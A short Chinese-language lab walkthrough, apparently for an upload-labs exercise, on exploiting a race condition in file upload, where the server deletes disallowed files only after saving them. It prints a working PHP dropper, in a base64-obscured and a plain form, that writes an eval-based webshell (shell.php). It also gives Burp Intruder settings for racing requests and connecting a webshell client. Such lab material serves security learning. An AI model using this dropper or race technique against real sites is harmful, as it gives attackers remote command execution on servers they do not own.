条件竞争
从代码中可以看出他是先移动到服务器后在判断,不是.jpg|.png|.gif类型在删除
我们可以利用中间的时间访问我们上传的.php的payload,使我们成功getshell
构造要上传的payload:重要的事情说三遍,检查代码!检查代码!检查代码!
往往一个小失误从而构造了失败的payload
这里用了base64加密
<?php
fputs(fopen((base64_decode('c2hlbGwucGhw')),'w'),base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWydjbWQnXSk/Pg=='));
或者
<?php fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST["cmd"])?>');
上传构造好的payload的pass18.php的文件
然后用burp抓包发到Intruder模块,清除Clear§,设置Payloads选项中的Payload type为Null payloads,再修改Options的并发数Number of threads为500
这里我们访问我们上传pass18.php路径,用burp抓包发送到Intruder跟上面一样
(手工方法如果你绝的你好运的就去吧,我反正是脸黑,加上没手速)
可以从上传pass18.php的包如果是200状态说明访问到了,有时后访问到了但是并没有执行到我们pass18.php的代码就被删了,(建议再加多个发送payload的Intruder模块请求)
过多一会我们的shell.php成功储存到了服务器
然后在浏览器访问我们的payload 连接菜刀
竞争条件原理介绍
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
在删除之前访问上传的php文件,从而执行上传文件中的php代码。
下面有图